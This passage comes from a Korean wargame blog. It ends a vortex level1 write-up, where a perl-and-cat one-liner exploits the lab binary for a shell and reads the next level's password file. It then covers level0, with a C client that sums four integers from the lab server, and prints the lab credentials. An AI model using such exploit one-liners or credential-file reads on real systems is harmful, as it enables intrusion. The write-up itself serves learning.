들어가게 되고, 
한번 더 입력하면 다시 default 문에 걸려서 e() function이 실행된다.  으.. 삽질을..

그런데 막상 타겟 서버에서 이렇게 입력하니 shell 이 잠시 떨어졌다가 바로 종료된다.
문제가 무엇일까 생각하다 You may need to consider how bash handles EOF.. 라는
힌트에 주목했다. 표준 출력을 파이프를 통해 입력으로 넘길때 EOF가 같이 넘어가서 바로
종료되는 듯 했다.


(perl -e 'print "\\"x257,"\xca","\xca"';cat)|./level1


따라서 표준 입력으로 집어넣을때 cat을 이용해서 종료되지 않도록 실행해 보았더니 쉘이
떨어졌다!!  README에 적힌대로 /etc/vortex_pass/vortex2 를 읽으면 23anbT\rE 라고
적힌 패스워드를 확인할 수 있다.

'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
Vortex11  (3) 2013.04.02
vortex level10  (0) 2011.04.18
vortex level8  (0) 2010.12.09
vortex level3  (0) 2009.10.03
vortex level0  (0) 2009.09.23

badcob War game/vortex

vortex level0

2009. 9. 23. 00:24

  1. Your goal is to connect to port 5842 on vortex.labs.pulltheplug.org and read in 4 unsigned integers. Add these integers together and send back the results to get a username and password for level 1.

    level0의 목표는 서버에 접속해서 unsigend integer 4바이트를 읽어서 합친후에 서버로 전송해주면
    된다. 쉽게 클리어 할  수 있을 것이라 생각했는데 좀처럼 원하는 결과가 나오질 않았다.

    확인해 보니 recv 한 버퍼의  값들이 전부 이상하게 찍힌다. 자금까지 exploit를 만들때는

    unsigned
    char recv[512]= {0, };   
    .......
     if((str_len = read(sock, recv, 64))==0)
             
     error_handling("read() error!");

    위와 같이 unsigned char 형태의 배열을 read함수의 2번째 인자로 줘서 사용했다.
    역시나 이 코드를 사용했기에 읽어오는 부분을 한번 의심해 보았다.

    read 함수의 원형이다.

    ssize_t read(int filedes, void *buf, size_t nbytes);

    void *buf 를 보니 먼가 감이 왔다. 문제에서도 데이터형을 정확하게 알려준것도 의심스럽고 해서
    unsigned integer 로 선언해서 char *로 캐스팅하니 값이 제대로 찍혔다.

    Username : vortex1  Password:  Gq#qu3bF3


#include <stdio.h>  
#include <stdlib.h>  
#include <arpa/inet.h>  
#include <unistd.h>  
#include <string.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <netdb.h>


#define SERVER "vortex.labs.pulltheplug.org"
#define PORT "5842"  
#define TRUE 1  

void error_handling(char *message);  

int main(int argc, char **argv) {  

    int sock;  

    int str_len;  
    int option;  
    socklen_t optlen;  

    struct hostent *myent;
    struct in_addr myen;
    long int *add;

    unsigned int number, count; 
    unsigned int total;

    struct sockaddr_in serv_addr;  

    /************* socket initialize and connect ****************/      


    if(!(myent = gethostbyname(SERVER)))
    {
        printf("gethostbyname error\n");
        exit(0);
    }

    add = (long int*)*myent->h_addr_list;
    myen.s_addr = *add;
    
    sock=socket(PF_INET, SOCK_STREAM, 0);  
    if(sock == -1)  
        error_handling("socket() error");  

    optlen = sizeof(option);  
    option = TRUE;  

    setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &option, sizeof(option));  
    memset(&serv_addr, 0, sizeof(serv_addr));  

    serv_addr.sin_family=AF_INET;  
    serv_addr.sin_addr.s_addr=inet_addr(inet_ntoa(myen));  
    serv_addr.sin_port=htons(atoi(PORT));  

    if(connect(sock, (struct sockaddr*)&serv_addr,sizeof(serv_addr))<0)  
        error_handling("connect() error!");  

    /****************** main start ********************/  
    

    total = 0;
    count = 0;
    while(count <4){
    if((str_len = read(sock, (char *)&number, sizeof(unsigned int)))==0)     
        error_handling("read() error!");  

    printf("Message from server : %d \n", number);   

    memset(recv, 0x00, 64);
    count++;
    total += number;
    }

    printf("total = %d\n", total);
    
    if((str_len = write(sock, (char *)&total, sizeof(unsigned int))) == -1) ///write 1  
        error_handling("write() error");  
    
    if((str_len = read(sock, recv, 64))==0)     
        error_handling("read() error!");  

    printf("Message from server : %s \n", recv);   
   
    close(sock);  
    return 0;  
}  

void error_handling(char *message)  
{  
    fputs(message, stderr);  
    fputc('\n', stderr);  
    exit(1);  
}

'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
Vortex11  (3) 2013.04.02
vortex level10  (0) 2011.04.18
vortex level8  (0) 2010.12.09
vortex level3  (0) 2009.10.03
vortex level1  (0) 2009.09.24

badcob War game/vortex